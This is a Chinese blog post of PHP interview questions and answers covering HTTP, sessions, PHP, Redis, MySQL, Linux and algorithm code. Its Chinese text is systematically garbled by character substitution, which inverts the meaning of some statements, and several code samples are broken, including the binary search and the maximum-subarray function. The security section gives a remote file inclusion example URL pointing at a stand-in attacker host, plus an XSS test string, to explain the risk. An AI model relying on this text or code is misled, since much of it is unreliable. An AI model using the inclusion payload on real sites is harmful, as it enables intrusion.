关于面试:3年PHPer的面试总结

根底局部

1.HTTP中GET与POST的区别,留神最初一条

GET在浏览器回退时是有害的,而POST会再次提交申请。
GET产生的URL地址能够被Bookmark,而POST不能够。
GET申请会被浏览器被动cache,而POST不会,除非手动设置。
GET申请只能进行url编码,而POST反对多种编码方式。
GET申请参数会被残缺保留在浏览器历史记录里,而POST中的参数不会被保留。
GET申请在URL中传送的参数是有长度限度的,而POST没有。
对参数的数据类型,GET只承受ASCII字符,而POST没有限度。
GET比POST更不平安,因为参数间接裸露在URL上,所以不能用来传递敏感信息。
GET参数通过URL传递,POST放在Request body中。
GET产生一个TCP数据包,POST产生两个TCP数据包。

2.为什么Tcp连贯是三次,挥手是四次

在Tcp连贯中,服务端的SYN和ACK向客户端发送是一次性发送的,而在断开连接的过程中,B端向A端发送的ACK和FIN是分两次发送的。因为在B端接管到A端的FIN后,B端可能还有数据要传输,所以先发送ACK,等B端解决完本人的事件后就能够发送FIN断开连接了。

3.Cookie存在哪

如果设置了过期工夫,Cookie存在硬盘里
没有设置过期工夫,Cookie存在内存里

4.COOKIE和SESSION的区别和关系

COOKIE保留在客户端,而SESSION则保留在服务器端
从安全性来讲,SESSION的安全性更高
从保留内容的类型的角度来讲,COOKIE只保留字符串(及可能主动转换成字符串)
从保留内容的大小来看,COOKIE保留的内容是无限的,比拟小,而SESSION基本上没有这个限度
从性能的角度来讲,用SESSION的话,对服务器的压力会更大一些
SEEION依赖于COOKIE,但如果禁用COOKIE,也能够通过url传递

PHP相干

Session可不可以设置生效工夫,比方30分钟过期

设置seesion.cookie_lifetime有30分钟,并设置session.gc_maxlifetime为30分钟
本人为每一个Session值减少timestamp
每次拜访之前, 判断工夫戳

PHP过程间通信的几种形式

音讯队列
信号量+共享内存
信号
管道
socket

php类的动态调用和实例化调用各自的利弊

静态方法是类中的一个成员办法,属于整个类,即便不必创立任何对象也能够间接调用!静态方法效率上要比实例化高,静态方法的毛病是不主动销毁,而实例化的则能够做销毁。

类的数组形式调用

ArrayAccess(数组式拜访)接口

用php写一个函数,获取一个文本文件最初n行内容,要求尽可能效率高,并能够跨平台应用。

function tail($file, $num)
{  
    $fp = fopen($file,"r");  
    $pos = -2;
    $eof = "";  
    $head = false;   //当总行数小于Num时,判断是否到第一行了  
    $lines = array();  
    while ($num > 0) {  
        while($eof != PHP_EOL){  
            if (fseek($fp, $pos, SEEK_END) == 0) {    //fseek胜利返回0,失败返回-1  
                $eof = fgetc($fp);
                $pos--;  
            } else {                            //当达到第一行,行首时,设置$pos失败  
                fseek($fp, 0, SEEK_SET);
                $head = true;                   //达到文件头部,开关关上  
                break;  
            }  
        }  
        array_unshift($lines, str_replace(PHP_EOL, '', fgets($fp)));   
        if ($head) {//这一句,只能放上一句后,因为到文件头后,把第一行读取进去再跳出整个循环  
            break; 
        }                 
        $eof = "";  
        $num--;  
    }  
    fclose($fp);  
    return $lines;  
}  

$SERVER[‘SERVER_NAME’]和$SERVER[‘HTTP_HOST’]的区别

相同点: 当满足以下三个条件时,两者会输入雷同信息。

服务器为80端口
apache的conf中ServerName设置正确
HTTP/1.1协定标准
不同点:

通常状况: $_SERVER[“HTTP_HOST”] 在HTTP/1.1协定标准下,会依据客户端的HTTP申请输入信息。 $_SERVER[“SERVER_NAME”] 默认状况下间接输入apache的配置文件httpd.conf中的ServerName值。
当服务器为非80端口时: $_SERVER[“HTTP_HOST”] 会输入端口号,例如:coffeephp.com:8080 $_SERVER[“SERVER_NAME”] 会间接输入ServerName值 因而在这种状况下,能够了解为:$_SERVER[‘HTTP_HOST’] = $_SERVER[‘SERVER_NAME’] : $_SERVER[‘SERVER_PORT’]
当配置文件httpd.conf中的ServerName与HTTP/1.0申请的域名不统一时: httpd.conf配置如下:

<virtualhost *>    
ServerName github.com    
ServerAlias blog.github.com    
</virtualhost>

客户端拜访域名 blog.github.com $_SERVER[“HTTP_HOST”] 输入 blog.github.com $_SERVER[“SERVER_NAME”] 输入github.com

关上php.ini的safe_mode会影响哪些参数

当safe_mode=On时,会呈现上面限度:

  1. 所有输入输出函数(例如fopen()、file()和require())的实用会受到限制,只能用于与调用这些函数的脚本有雷同拥有者的文件。例如,假设启用了平安模式,如果Mary领有的脚本调用fopen(),尝试关上由Jonhn领有的一个文件,则将失败。然而,如果Mary不仅领有调用 fopen()的脚本,还领有fopen()所调用的文件,就会胜利。
  2. 如果试图通过函数popen()、system()或exec()等执行脚本,只有当脚本位于safe_mode_exec_dir配置指令指定的目录才可能。
  3. HTTP验证失去进一步增强,因为验证脚本用于者的UID划入验证畛域范畴内。此外,当启用平安模式时,不会设置PHP_AUTH。
  4. 如果实用MySQL数据库服务器,链接MySQL服务器所用的用户名必须与调用mysql_connect()的文件拥有者用户名雷同。
    具体的解释能够查看官网:http://www.php.net/manual/zh/… php safe_mode影响参数
函数名 限度
dbmopen() 查看被操作的文件或目录是否与正在执行的脚本有雷同的 UID(所有者)。
dbase_open() 查看被操作的文件或目录是否与正在执行的脚本有雷同的 UID(所有者)。
filepro() 查看被操作的文件或目录是否与正在执行的脚本有雷同的 UID(所有者)。
filepro_rowcount() 查看被操作的文件或目录是否与正在执行的脚本有雷同的 UID(所有者)。
filepro_retrieve() 查看被操作的文件或目录是否与正在执行的脚本有雷同的 UID(所有者)。
ifx_* sql_safe_mode 限度, (!= safe mode)
ingres_* sql_safe_mode 限度, (!= safe mode)
mysql_* sql_safe_mode 限度, (!= safe mode)
pg_loimport() 查看被操作的文件或目录是否与正在执行的脚本有雷同的 UID(所有者)。
posix_mkfifo() 查看被操作的目录是否与正在执行的脚本有雷同的 UID(所有者)。
putenv() 遵循 ini 设置的 safe_mode_protected_env_vars 和 safe_mode_allowed_env_vars 选项。请参考 putenv() 函数的无关文档。
move_uploaded_file() 查看被操作的文件或目录是否与正在执行的脚本有雷同的 UID(所有者)。
chdir() 查看被操作的目录是否与正在执行的脚本有雷同的 UID(所有者)。
dl() 本函数在平安模式下被禁用。
backtick operator 本函数在平安模式下被禁用。
shell_exec() (在性能上和 backticks 函数雷同) 本函数在平安模式下被禁用。
exec() 只能在 safe_mode_exec_dir 设置的目录下进行执行操作。基于某些起因,目前不能在可执行对象的门路中应用 ..。escapeshellcmd() 将被作用于此函数的参数上。
system() 只能在 safe_mode_exec_dir 设置的目录下进行执行操作。基于某些起因,目前不能在可执行对象的门路中应用 ..。escapeshellcmd() 将被作用于此函数的参数上。
passthru() 只能在 safe_mode_exec_dir 设置的目录下进行执行操作。基于某些起因,目前不能在可执行对象的门路中应用 ..。escapeshellcmd() 将被作用于此函数的参数上。
popen() 只能在 safe_mode_exec_dir 设置的目录下进行执行操作。基于某些起因,目前不能在可执行对象的门路中应用 ..。escapeshellcmd() 将被作用于此函数的参数上。
fopen() 查看被操作的目录是否与正在执行的脚本有雷同的 UID(所有者)。
mkdir() 查看被操作的目录是否与正在执行的脚本有雷同的 UID(所有者)。
rmdir() 查看被操作的目录是否与正在执行的脚本有雷同的 UID(所有者)。
rename() 查看被操作的文件或目录是否与正在执行的脚本有雷同的 UID(所有者)。 查看被操作的目录是否与正在执行的脚本有雷同的 UID(所有者)。
unlink() 查看被操作的文件或目录是否与正在执行的脚本有雷同的 UID(所有者)。 查看被操作的目录是否与正在执行的脚本有雷同的 UID(所有者)。
copy() 查看被操作的文件或目录是否与正在执行的脚本有雷同的 UID(所有者)。 查看被操作的目录是否与正在执行的脚本有雷同的 UID(所有者)。 (on source and target )
chgrp() 查看被操作的文件或目录是否与正在执行的脚本有雷同的 UID(所有者)。
chown() 查看被操作的文件或目录是否与正在执行的脚本有雷同的 UID(所有者)。
chmod() 查看被操作的文件或目录是否与正在执行的脚本有雷同的 UID(所有者)。 另外,不能设置 SUID、SGID 和 sticky bits
touch() 查看被操作的文件或目录是否与正在执行的脚本有雷同的 UID(所有者)。 查看被操作的目录是否与正在执行的脚本有雷同的 UID(所有者)。
symlink() 查看被操作的文件或目录是否与正在执行的脚本有雷同的 UID(所有者)。 查看被操作的目录是否与正在执行的脚本有雷同的 UID(所有者)。 (留神:仅测试 target)
link() 查看被操作的文件或目录是否与正在执行的脚本有雷同的 UID(所有者)。 查看被操作的目录是否与正在执行的脚本有雷同的 UID(所有者)。 (留神:仅测试 target)
apache_request_headers() 在平安模式下,以“authorization”(辨别大小写)结尾的标头将不会被返回。
header() 在平安模式下,如果设置了 WWW-Authenticate,以后脚本的 uid 将被增加到该标头的 realm 局部。
PHP_AUTH 变量 在平安模式下,变量 PHP_AUTH_USER、PHP_AUTH_PW 和 PHP_AUTH_TYPE 在 $_SERVER 中不可用。但无论如何,您依然能够应用 REMOTE_USER 来获取用户名称(USER)。(留神:仅 PHP 4.3.0 当前无效)
highlight_file(), show_source() 查看被操作的文件或目录是否与正在执行的脚本有雷同的 UID(所有者)。 查看被操作的目录是否与正在执行的脚本有雷同的 UID(所有者)。 (留神,仅在 4.2.1 版本后无效)
parse_ini_file() 查看被操作的文件或目录是否与正在执行的脚本有雷同的 UID(所有者)。 查看被操作的目录是否与正在执行的脚本有雷同的 UID(所有者)。 (留神,仅在 4.2.1 版本后无效)
set_time_limit() 在平安模式下不起作用。
max_execution_time 在平安模式下不起作用。
mail() 在平安模式下,第五个参数被屏蔽。

PHP解决多过程同时写一个文件的问题

function write($str)
{
    $fp = fopen($file, 'a');
    do {
        usleep(100);
    } while (!flock($fp, LOCK_EX));
    fwrite($fp, $str . PHP_EOL);
    flock($fp, LOCK_UN);
    fclose($fp);
}

PHP里的超全局变量

  • $GLOBALS
  • $_SERVER
  • $_GET
  • $_POST
  • $_FILES
  • $_COOKIE
  • $_SESSION
  • $_REQUEST
  • $_ENV

php7新个性

  • ?? 运算符(NULL 合并运算符)
  • 函数返回值类型申明
  • 标量类型申明
  • use 批量申明
  • define 能够定义常量数组
  • 闭包( Closure)减少了一个 call 办法 具体的能够见官网:php7-new-features

php7卓越性能背地的优化

  • 缩小内存调配次数
  • 多应用栈内存
  • 缓存数组的hash值
  • 字符串解析成桉树改为宏开展
  • 应用大块间断内存代替小块破碎内存 具体的能够参考鸟哥的PPT:PHP7性能之源

include($_GET[‘p’])的安全隐患

当初任一个黑客当初都能够用:http://www.yourdomain.com/index.php?p=anyfile.txt 来获取你的机密信息,或执行一个PHP脚本。 如果allow_url_fopen=On,你更是死定了: 试试这个输出:http://www.yourdomain.com/index.php?p=http://youaredoomed.com/phphack.php 当初你的网页中蕴含了http://www.youaredoomed.com/phphack.php的输入. 黑客能够发送垃圾邮件,扭转明码,删除文件等等。只有你能想得到。

列出一些防备SQL注入、XSS攻打、CSRF攻打的办法

  • addslashes函数
  • mysql_real_escape_string/mysqli_real_escape_string/PDO::quote()
  • PDO预处理 XSS:htmlspecial函数 CSRF:
  • 验证HTTP REFER
  • 应用toke进行验证

接口如何平安拜访

jwt或验证签名

PHP里有哪些设计模式

  • 单例模式
  • 工厂模式
  • 脸面模式(facade)
  • 注册器模式
  • 策略模式
  • 原型模式
  • 装璜器模式 更多的能够看PHP设计模式简介这篇文章

验证ip是否正确

function check_ip($ip)
{
    if (!filter_var($ip, FILTER_VALIDATE_IP)) {
    return false;
    } else {
        return true;
    }
}

验证日期是否正当

function check_datetime($datetime)
{
    if (date('Y-m-d H:i:s', strtotime($datetime)) === $datetime) {
        return true;
    } else {
        return false;
    }
}

写一个正则表达式,过滤JS脚本(及把script标记及其内容都去掉)

$text = '<script>alert('XSS')</script>';
$pattern = '<script.*>.*<\/script>/i';
$text = preg_replace($pattern, '', $text);

下单后30分钟未领取勾销订单

第一种计划:被动过期+cron,就是用户查看的时候去数据库查有没有领取+定时清理。 第二种计划:提早性工作,到工夫查看订单是否领取胜利,如果没有领取则勾销订单

设计一个秒杀零碎

思路:用redis的队列

$ttl = 4;
$random = mt_rand(1,1000).'-'.gettimeofday(true).'-'.mt_rand(1,1000);

$lock = fasle;
while (!$lock) {
    $lock = $redis->set('lock', $random, array('nx', 'ex' => $ttl));
}

if ($redis->get('goods.num') <= 0) {
    echo ("秒杀曾经完结");
    //删除锁
    if ($redis->get('lock') == $random) {
        $redis->del('lock');
    }
    return false;
}

$redis->decr('goods.num');
echo ("秒杀胜利");
//删除锁
if ($redis->get('lock') == $random) {
    $redis->del('lock');
}
return true;

请设计一个实现形式,能够给某个ip找到对应的省和市,要求效率竟可能的高

//ip2long,把所有城市的最小和最大Ip录进去
$redis_key = 'ip';
$redis->zAdd($redis_key, 20, '#bj');//北京的最小IP加#
$resid->zAdd($redis_key, 30, 'bj');//最大IP

function get_ip_city($ip_address)
{
    $ip = ip2long($ip_address);

    $redis_key = 'ip';
    $city = zRangeByScore($redis_key, $ip, '+inf', array('limit' => array(0, 1)));
    if ($city) {
        if (strpos($city[0], "#") === 0) {
            echo '城市不存在!';
        } else {
            echo '城市是' . $city[0];
        }
    } else {
        echo '城市不存在!';
    }
}

算法局部

反转函数的实现

/**
 * 反转数组
 * @param  array $arr 
 * @return array
 */
function reverse($arr)
{
    $n = count($arr);

    $left = 0;
    $right = $n - 1;

    while ($left < $right) {
        $temp = $arr[$left];
        $arr[$left++] = $arr[$right];
        $arr[$right--] = $temp;
    }

    return $arr;
}

两个有序int汇合是否有雷同元素的最优算法

/**
 * 寻找两个有序数组里雷同的元素
 * @param  array $arr1 
 * @param  array $arr2 
 * @return array      
 */
function find_common($arr1, $arr2)
{
    $common = array();
    $i = $j = 0;
    $count1 = count($arr1);
    $count2 = count($arr2);
    while ($i < $count1 && $j < $count2) {
        if ($arr1[$i] < $arr2[$j]) {
            $i++;
        } elseif ($arr1[$i] > $arr2[$j]) {
            $j++;
        } else {
            $common[] = $arr[$i];
            $i++;
            $j++;
        }
    }
    return array_unique($common);
}

将一个数组中的元素随机(打乱)

/**
 * 打乱数组
 * @param  array $arr 
 * @return array      
 */
function custom_shuffle($arr)
{
    $n = count($arr);
    for ($i = 0; $i < $n; $i++) {
        $rand_pos = mt_rand(0, $n - 1);
        if ($rand_pos != $i) {
            $temp = $arr[$i];
            $arr[$i] = $arr[$rand_pos];
            $arr[$rand_pos] = $temp;
        }
    }
    return $arr;
}

给一个有数字和字母的字符串,让连着的数字和字母对应

function number_alphabet($str)
{
    $number = preg_split('/[a-z]+/', $str, -1, PREG_SPLIT_NO_EMPTY);
    $alphabet = preg_split('/\d+/', $str, -1, PREG_SPLIT_NO_EMPTY);
    $n = count($number);
    for ($i = 0; $i < $count; $i++) { 
        echo $number[$i] . ':' . $alphabet[$i] . '</br>';
    }
}
$str = '1a3bb44a2ac';
number_alphabet($str);//1:a 3:bb 44:a 2:ac

求n以内的质数(质数的定义:在大于1的自然数中,除了1和它自身意外,无奈被其余自然数整除的数)

思路: 1.(质数筛选定理)n不可能被不大于根号n的任何质数整除,则n是一个质数
2.除了2的偶数都不是质数
代码如下:

/**
 * 求n内的质数
 * @param int $n 
 * @return array
 */
function get_prime($n)
{
    $prime = array(2);//2为质数

    for ($i = 3; $i <= $n; $i += 2) {//偶数不是质数,步长能够加大 
        $sqrt = intval(sqrt($i));//求根号n

        for ($j = 3; $j <= $sqrt; $j += 2) {//i是奇数,当然不能被偶数整除,步长也能够加大。 
            if ($i % $j == 0) {
                break;
            }
        }

        if ($j > $sqrt) {
            array_push($prime, $i);
        }
    }

    return $prime;
}

print_r(getPrime(1000));

约瑟夫环问题

相干题目:一群猴子排成一圈,按1,2,…,n顺次编号。而后从第1只开始数,数到第m只,把它踢出圈,从它前面再开始数, 再数到第m只,在把它踢出去…,如此不停的进行上来, 直到最初只剩下一只猴子为止,那只猴子就叫做大王。要求编程模仿此过程,输出m、n, 输入最初那个大王的编号。

/**
 * 获取大王
 * @param  int $n 
 * @param  int $m 
 * @return int  
 */
function get_king_mokey($n, $m) 
{
    $arr = range(1, $n);

    $i = 0;

    while (count($arr) > 1) {
        $i++;
        $survice = array_shift($arr);

        if ($i % $m != 0) {
            array_push($arr, $survice);
        }
    }

    return $arr[0];
}

如何疾速寻找一个数组里最小的1000个数

思路:假如最后面的1000个数为最小的,算出这1000个数中最大的数,而后和第1001个数比拟,如果这最大的数比这第1001个数小的话跳过,如果要比这第1001个数大则将两个数替换地位,并算出新的1000个数外面的最大数,再和下一个数比拟,以此类推。
代码如下:

//寻找最小的k个数
//题目形容
//输出n个整数,输入其中最小的k个。
/**
 * 获取最小的k个数
 * @param  array $arr 
 * @param  int $k   [description]
 * @return array
 */
function get_min_array($arr, $k)
{
    $n = count($arr);

    $min_array = array();

    for ($i = 0; $i < $n; $i++) {
        if ($i < $k) {
            $min_array[$i] = $arr[$i];
        } else {
            if ($i == $k) {
                $max_pos = get_max_pos($min_array);
                $max = $min_array[$max_pos];
            }

            if ($arr[$i] < $max) {
                $min_array[$max_pos] = $arr[$i];

                $max_pos = get_max_pos($min_array);
                $max = $min_array[$max_pos];
            }
        }
    }

    return $min_array;
}

/**
 * 获取最大的地位
 * @param  array $arr 
 * @return array
 */
function get_max_pos($arr)
{
    $pos = 0;
    for ($i = 1; $i < count($arr); $i++) { 
        if ($arr[$i] > $arr[$pos]) {
            $pos = $i;
        }
    }

    return $pos;
}

$array = [1, 100, 20, 22, 33, 44, 55, 66, 23, 79, 18, 20, 11, 9, 129, 399, 145, 2469, 58];

$min_array = get_min_array($array, 10);

print_r($min_array);

如何在有序的数组中找到一个数的地位(二分查找)

代码如下:

/**
 * 二分查找
 * @param  array $array 数组
 * @param  int $n 数组数量
 * @param  int $value 要寻找的值
 * @return int
 */
function binary_search($array, $n, $value)
{
    $left = 0;
    $right = $n - 1;

    while ($left <= $right) {
        $mid = intval(($left + $right) / 2);
        if ($value > $array[$mid]) {
            $right = $mid + 1;
        } elseif ($value < $array[$mid]) {
            $left = $mid - 1;
        } else {
            return $mid;
        }
    }

    return -1;
}

给定一个有序整数序列,找出绝对值最小的元素

思路:二分查找

/**
 * 获取绝对值最小的元素
 * @param  array $arr
 * @return int  
 */
function get_min_abs_value($arr)
{
    $n = count($arr);
    //如果符号雷同,间接返回
    if (is_same_sign($arr[0], $arr[$n - 1])) {
        return $arr[0] >= 0 ? $arr[0] : $arr[$n - 1];
    }

    //二分查找
    $left = 0;
    $right = $n - 1;

    while ($left <= $right) {
        if ($left + 1 === $right) {
            return abs($arr[$left]) < abs($arr[$right]) ? $arr[$left] : $arr[$right];
        }

        $mid = intval(($left + $right) / 2);

        if ($arr[$mid] < 0) {
            $left = $mid + 1;
        } else {
            $right = $mid - 1;
        }
    }
}

/**
 * 判断符号是否雷同
 * @param  int  $a 
 * @param  int  $b 
 * @return boolean  
 */
function is_same_sign($a, $b)
{
    if ($a * $b > 0) {
        return true;
    } else {
        return false;
    }
}

找出有序数组中随机3个数和为0的所有状况

思路:动静布局

function three_sum($arr)
{
    $n = count($arr);

    $return = array();

    for ($i=0; $i < $n; $i++) { 
        $left = $i + 1;
        $right = $n - 1;

        while ($left <= $right) {
            $sum = $arr[$i] + $arr[$left] + $arr[$right];

            if ($sum < 0) {
                $left++;
            } elseif ($sum > 0) {
                $right--;
            } else {
                $numbers = $arr[$i] . ',' . $arr[$left] . ',' . $arr[$right];
                if (!in_array($numbers, $return)) {
                    $return[] = $numbers;
                }

                $left++;
                $right--;
            }
        }
    }

    return $return;
}

$arr = [-10, -9, -8, -4, -2, 0, 1, 2, 3, 4, 5, 6, 9];
var_dump(three_sum($arr));

编写一个PHP函数,求任意n个正负整数外面最大的间断和,要求算法工夫复杂度尽可能低。

思路:动静布局

/**
 * 获取最大的间断和
 * @param  array $arr 
 * @return int 
 */
function max_sum_array($arr)
{
    $currSum = 0;
    $maxSum = 0;//数组元素全为负的状况,返回最大数

    $n = count($arr);

    for ($i = 0; $i < $n; $i++) { 
        if ($currSum >= 0) {
            $currSum += $arr[$i];
        } else {
            $currSum = $arr[$i];
        }
    }

    if ($currSum > $maxSum) {
        $maxSum = $currSum;
    }

    return $maxSum;
}

Linux相干

1.如何批改文件为以后用户只读

chmod u=r 文件名

2.Linux过程属性

  1. 过程:是用pid示意,它的数值是惟一的
  2. 父过程:用ppid示意
  3. 启动过程的用户:用UID示意
  4. 启动过程的用户所属的组:用GID示意
  5. 过程的状态:运行R,就绪W,休眠S,僵尸Z

3.统计某一天网站的访问量

awk '{print $1}' /var/log/access.log | sort | uniq | wc -l

举荐篇文章,讲awk理论应用的shell在手剖析服务器日志不愁

Nginx相干

1.fastcgi通过端口监听和通过文件监听的区别

监听形式 模式 nginx链接fastcgi形式
端口监听 fastcgi_pass 127.0.0.1:9000 TCP链接
文件监听 fastcgi_pass /tmp/php_cgi.sock Unix domain Socket

2.nginx的负载平衡实现形式

  1. 轮询
  2. 用户IP哈希
  3. 指定权重
  4. fair(第三方)
  5. url_hash(第三方)

Memcache/Redis

1.Redis主从是怎么同步数据的?(即复制性能)

无论是首次连贯还是从新连贯,当建设一个从服务器时,从服务器都将从主服务器发送一个SYNC命令。接到SYNC命令的主服务器将开始执行BGSAVE,并在保留操作执行期间,将所有新执行的命令都保留到一个缓冲区外面,当BGSAVE执行结束后,主服务器将执行保留操作所失去的.rdb文件发送给从服务器,从服务器接管这个.rdb文件,并将文件中的数据载入到内存中。之后主服务器会以Redis命令协定的格局,将写命令缓冲区中积攒的所有内容都发送给从服务器。

2.Memcache缓存命中率

缓存命中率 = get_hits/cmd_get * 100%

3.Memcache集群实现

一致性Hash

4.Memcache与Redis的区别

  1. Memcache

    • 该产品自身特地是数据在内存里边的存储,如果服务器忽然断电,则全副数据就会失落
    • 单个key(变量)寄存的数据有1M的限度
    • 存储数据的类型都是String字符串类型
    • 自身没有长久化性能
    • 能够应用多核(多线程)
  2. Redis

    • 数据类型比拟丰盛:String、List、Set、Sortedset、Hash
    • 有长久化性能,能够把数据随时存储在磁盘上
    • 自身有肯定的计算性能
    • 单个key(变量)寄存的数据有1GB的限度

MySQL相干

1.执行SQL语句:select count(*) from articles 时,MyISAM和InnoDB哪个快

MyISAM快,因为MyISAM自身就记录了数量,而InnoDB要扫描数据

3.隐式转换

  • 当查问字段是INT类型,如果查问条件为CHAR,将查问条件转换为INT,如果是字符串前导都是数字将会进行截取,如果不是转换为0。
  • 当查问字段是CHAR/VARCHAR类型,如果查问条件为INT,将查问字段为换为INT再进行比拟,可能会造成全表扫描

2.最左前缀准则

有一个复合索引:INDEX(a, b, c)

应用形式 是否用上索引
select * from users where a = 1 and b = 2 能用上a、b
select * from users where b = 2 and a = 1 能用上a、b(有MySQL查问优化器)
select * from users where a = 2 and c = 1 能用上a
select * from users where b = 2 and c = 1 不能

3.聚簇索引和非聚簇索引的区别

聚簇索引的叶节点就是数据节点,而非聚簇索引的页节点依然是索引检点,并保留一个链接指向对应数据块。

4.索引类型

主键索引 PRIMARY
一般索引 INDEX
惟一索引 UNIQUE
全文索引 FULLTEXT

举例说明:

CREATE TABLE `user` (
  `id` int(11) unsigned NOT NULL AUTO_INCREMENT,
  `name` varchar(10) CHARACTER SET latin1 DEFAULT NULL,
  `idcard` varchar(18) CHARACTER SET latin1 DEFAULT NULL,
  `phone` varchar(10) CHARACTER SET latin1 DEFAULT NULL,
  `addres` varchar(50) CHARACTER SET latin1 DEFAULT NULL,
  `remak` text CHARACTER SET latin1,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;

id 作为主键,应用 PRIMARY
name 如果须要建设索引就建设一般索引用于搜寻应用,INDEX
idcard 作为用户身份证信息是惟一的,能够抉择应用UNIQUE
remak 作为备注信息,如果须要索引的话,短文章能够应用一般索引(INDEX),常温的话能够能够选着全文索引(FULLTEXT)

ALTER table user add PRIMARY KEY("id")
ALTER table user add index("name")
ALTER table user add UNIQUE("idcard")
ALTER table user add FULLTEXT ("remak")

其余局部

1.网页/利用拜访慢忽然变慢,如何定位问题

  1. top、iostat查看cpu、内存及io占用状况
  2. 内核、程序参数设置不合理 查看有没有报内核谬误,连接数用户关上文件数这些有没有达到下限等等
  3. 链路自身慢 是否跨运营商、用户上下行带宽不够、dns解析慢、服务器内网播送风暴什么的
  4. 程序设计不合理 是否程序自身算法设计太差,数据库语句太过简单或者刚上线了什么性能引起的
  5. 其它关联的程序引起的 如果要拜访数据库,检查一下是否数据库拜访慢
  6. 是否被攻打了 查看服务器是否被DDos了等等
  7. 硬件故障 这个个别间接服务器就挂了,而不是拜访慢

2.如何设计/优化一个访问量比拟大的博客/论坛

  • 缩小http申请(比方应用雪碧图)
  • 优化数据库(范式、SQL语句、索引、配置、读写拆散)
  • 缓存应用(Memcache、Redis)
  • 负载平衡
  • 动静内容动态化+CDN
  • 禁止内部盗链(refer、图片增加水印)
  • 管制大文件下载
  • 应用集群

评论

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

这个站点使用 Akismet 来减少垃圾评论。了解你的评论数据如何被处理